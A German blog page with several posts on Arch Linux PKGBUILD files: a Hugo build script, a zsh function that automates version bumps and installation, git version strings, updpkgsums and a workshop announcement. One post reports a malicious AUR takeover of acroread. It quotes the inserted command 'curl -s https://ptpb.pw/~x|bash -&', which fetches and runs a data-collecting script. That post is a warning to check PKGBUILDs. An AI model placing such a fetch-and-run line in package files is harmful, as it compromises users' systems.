Fryboyter

Pkgbuild-Datei automatisch aktualisieren und installieren

Unter Arch habe ich ein paar Pakete installiert, deren Updates teilweise zeitverzögert angeboten werden. Zum Beispiel, weil der jeweilige Paketbetreuer nicht die nötige Zeit hat oder weil er das erste Minor-Release abwarten will. Hugo ist oft solch ein Paket.

Daher installiere ich mir die aktuelle Version oft selbst. Hierfür habe ich das Verzeichnis ~/pkgbuilds/hugo/ erstellt und in diesem die PKGBUILD-Datei gespeichert anhand der darin enthaltenen Anweisungen das Paket installiert wird. Im Falle von Hugo sieht diese aktuell folgendermaßen aus.

pkgname=hugo
pkgver=0.101.0
pkgrel=1
pkgdesc="Fast and Flexible Static Site Generator in Go"
arch=('x86_64')
url="https://gohugo.io/"
license=('Apache')
depends=('glibc')
makedepends=('go' 'git')
optdepends=('python-pygments: syntax-highlight code snippets'
            'python-docutils: reStructuredText support')
source=(${pkgname}-${pkgver}.tar.gz::https://github.com/gohugoio/${pkgname}/archive/v${pkgver}.tar.gz)
sha512sums=('541d0e04e868845119f2b488fd53b92929ea4dc08685d438a2914b41586e204588b193522013e8eed908dc0c3fbc2714aefb1afad0beae875d57d71aadc59c70')

build() {
  cd "${srcdir}"/${pkgname}-${pkgver}
  export CGO_CPPFLAGS="${CPPFLAGS}"
  export CGO_CFLAGS="${CFLAGS}"
  export CGO_CXXFLAGS="${CXXFLAGS}"
  export CGO_LDFLAGS="${LDFLAGS}"
  export GOFLAGS="-buildmode=pie -trimpath -mod=readonly -modcacherw"
  go build -tags extended

  ./hugo gen man
  ./hugo completion bash > ${pkgname}.bash-completion
  ./hugo completion fish > ${pkgname}.fish
  ./hugo completion zsh > ${pkgname}.zsh
}

package() {
  cd "${srcdir}"/${pkgname}-${pkgver}
  install -Dm755 "${pkgname}" "${pkgdir}"/usr/bin/${pkgname}
  install -Dm644 LICENSE "${pkgdir}"/usr/share/licenses/${pkgname}/LICENSE

  install -Dm644 "${srcdir}"/${pkgname}-${pkgver}/man/*.1  -t "${pkgdir}"/usr/share/man/man1/
  
  install -Dm644 ${pkgname}.bash-completion "${pkgdir}"/usr/share/bash-completion/completions/${pkgname}
  install -Dm644 ${pkgname}.fish "${pkgdir}"/usr/share/fish/vendor_completions.d/${pkgname}.fish
  install -Dm644 ${pkgname}.zsh "${pkgdir}"/usr/share/zsh/site-functions/_${pkgname}
}

Wurde nun eine neue Version veröffentlicht, trage ich in der PKGBUILD-Datei in der Zeile pkgver= die neue Version ein. Anschließend führe ich im Verzeichnis in dem die Datei liegt, die Befehle updpkgsums PKGBUILD, makepkg -cirs PKGBUILD –noconfirm und rm – .tar. aus.

Der erste Befehl läd die Archivdatei mit dem Sourcecode herunter, erstellt die Prüfsumme der Datei und trägt diese in der PKGBUILD-Datei ein. Der zweite Befehl erstellt anhand der Anweisungen in der PKGBUILD-Datei das Paket und installiert es. Der letzte Befehl löscht sowohl die Archivdatei mit dem Sourcecode sowie das erstellte Paket.

Da ich darin schon ziemlich geübt bin, dauert dies keine Minute. Ich möchte den Vorgang aber trotzdem automatisieren. Daher habe ich mir eine Funktion erstellt.

updpkgbuild () {
	new_ver="$1"
	sed -E "s#(pkgver=).*#\1$new_ver#" -i PKGBUILD
	updpkgsums PKGBUILD
	makepkg -cirs PKGBUILD --noconfirm
	rm -- *.tar.*
}

Mit dieser brauche ich im Verzeichnis der PKGBUILD-Datei nur beispielsweise updpkgbuild 0.102.0 ausführen und Version 0.102.0 des Pakets wird automatisch installiert. Das ganze klappt natürlich nur, wenn nur die Version sowie die Prüfsumme geändert werden muss. Was aber in den meisten Fällen zutrifft.

Die Funktion habe ich für die zsh erstellt. Ob diese auch in anderen Shells wie der bash oder fish funktioniert, kann ich nicht sagen.

OSBN | Linux

Darum sollte man PKGBUILD-Dateien im AUR immer prüfen

Als Nutzer von Arch und insbesondere von AUR bekommt es öfters zu hören, dass man die PKGBUILD-Dateien vor dem Installieren prüfen soll. Gestern Abend hat sich gezeigt wie wichtig dies ist.

So ist im AUR beispielsweise acroread vorhanden. Das Paket war verwaist und wurde gestern von einem Nutzer namens xeactor übernommen. Soweit kein Problem. Allerdings hat er in die PKGBUILD-Datei curl -s https://ptpb.pw/~x|bash -& eingetragen. Mit den Script wird ein systemd-Dienst angelegt über den Daten des kompromittierten Systems gesammelt und zu Pastebin gesendet werden. Der Nutzer hat aber glücklicherweise Fehler beim Erstellen des Scripts gemacht. So ist $uploader nicht vorhanden, sodass das Hochladen fehlschlägt. Zudem hat xeactor seinen Pastebin-API-Key im Klartext eingetragen.

Da die gesammelten Daten alle relativ unkritisch sind, ist es allerdings fraglich was xeactor hiermit erreichen wollte. Eventuell wollte er “nur” demonstrieren wie wichtig es ist, PKBUILD-Dateien im AUR immer zu prüfen. Denn prinzipiell hätte er deutlich mehr Schaden anrichten können.

Neben acroread waren auch noch ein paar andere verwaiste Pakete betroffen. Die Änderungen wurden inzwischen wieder rückgängig gemacht und der Nutzer gesperrt. Aufgrund solcher Vorkommnisse sollte man die Mailing-List aur-general abonieren.

Linux | OSBN

Git-Version für PGKBUILD herausfinden

Im Arch User Repository, kurz AUR, gibt es einige Paket mit dem Zusatz -git im Namen. Hiermit werden nicht die stabilen Versionen, sondern Entwicklerversionen installiert.

Nehmen wir einmal die PKGBUILD-Datei von keepassxc-git als Beispiel. In dieser findet man die Zeile pkgver=2.2.4.r431.g46c58b32. Egal wie oft man nun KeepassXC über diese PKGBUILD-Datei installiert, landet man immer beim gleichen festgelegten Entwicklungsstand und nicht beim derzeit aktuellen. Was aber, wenn man sich genau diesen installieren will? Im Grunde genommen muss man die Zeile pkgver= einfach nur anpassen. Aber was muss man in solch einem Fall eintragen? Eine Lösung wäre folgendes Vorgehen:

  • Mittels “git clone https://github.com/keepassxreboot/keepassxc.git” den Sourcecode auf den eigenen Rechner kopieren. Den betreffenden Link findet man in dem man auf der jeweiligen Github-Seite auf “Clone or download” klickt.

  • Danach wechselt man in das erstellte Verzeichnis. In diesem Fall keepassxc und führt dort “git describe –long | sed ’s/([^-]*-g)/r\1/;s/-/./g’” aus. Hier wird dann aktuell “2.3.0.r10.g3c274135” ausgegeben, da die Veröffentlichung von Version 2.3.0 ansteht.

  • Abschließend ändert man nun in der PKGBUILD-Datei die Zeile pkgver= entsprechend ab und kann sich so die aktuelle Entwicklerversion installieren.

  • Um die Version in der PKGBUILD-Datei erneut zu aktualisieren, reicht es in das Verzeichnis keepassxc zu wechseln und dort “git pull” und danach “git describe –long | sed ’s/([^-]*-g)/r\1/;s/-/./g” auszuführen. Git clone ist hier nicht nötig.

Da Git-Versionen aber nicht unbedingt stabil sind, sollte man aber abwägen, ob man sich solch eine Version installiert oder nicht.

Linux | OSBN

Prüfsummen in einer PKGBUILD-Datei ändern

Ab und zu kommt es vor, dass im AUR die PKGBUILD-Datei eines Pakets nicht aktualisiert wird. Das ist derzeit beim Editor micro der Fall, da es einen unschönen Bugmit der Mausunterstützung gibt und der Paketbetreuer erst mal abwarten will. Ich will aber nicht.

Bisher bin ich in solchen Fällen immer so vorgegangen, dass ich mir erst einmal die Prüfsumme des neuen Archivs besorgt habe. Bei einigen Programmen sind die aber entweder sehr gut versteckt oder werden gar nicht erst angeboten. Bei Letzterem lade ich das neue Archiv ein- oder zweimal herunter und erstelle manuell die Prüfsumme. Dann lade ich mir mit curl die PKGBUILD-Datei herunter und editiere die Zeile pkgver= und dann noch die Zeile(n) für die Prüfsumme(n). Aber das nervt. Vor allem, wenn man die Prüfsummen gar nicht oder nur schwer findet.

Aber wie soll es anders sein? Hätte ich mal in das Wiki von Arch Linux geschaut… Genau für diese Änderung gibt es das Tool updpkgsums (Teil des Pakets pacman-contrib), welches bei pacman direkt mit dabei ist. Hat man die PKGBUILD-Datei heruntergeladen und die Zeile pkgver= angepasst, muss man nur noch “updpkgsums PKGBUILD” aufrufen. Das Tool ersetzt dann automatisch die alte gegen die neue Prüfsumme. Diese sollte man aber trotzdem möglichst überprüfen. Wobei das in einigen Fällen eben nicht ganz leicht ist. Jetzt sollte man beispielsweise mittels “makepkg -i PKBUILD –noconfirm” die aktuelle Version des Programms installieren können.

Linux | OSBN

Workshop zum Erstellen von PKGBUILD-Dateien unter Arch

Am Sonntag, 04.06.17, findet ab 19 Uhr ein Workshop zum Thema PKGBUILD-Dateien unter Arch Linux statt. Dieser soll ungefähr zwei Stundne dauern und wird von Eli Schwartz, einem aktiven Mitglied der Arch-Gemeinschaft, geleitet.

Thema des Workshops wird der grundlegende Aufbau von PKGBUILD-Dateien sein. Also wie man eine solche Datei “liest”, wie man sie anpasst, usw. Auf dem Plan stehen aber auch noch andere Themen wie die häufigsten Fehler, die man beim Erstellen machen kann und wie man diese vermeidet. Oder wie man selbst gemachte PKGBUILD-Dateien in AUR Dritten zur Verfügung stellt.

Die Veranstaltung findet im IRC-Kanal #archlinux-classroom (irc.freenode.net) statt. Teilnehmen kann jeder, der sich an den Code of conducthält.

Linux | OSBN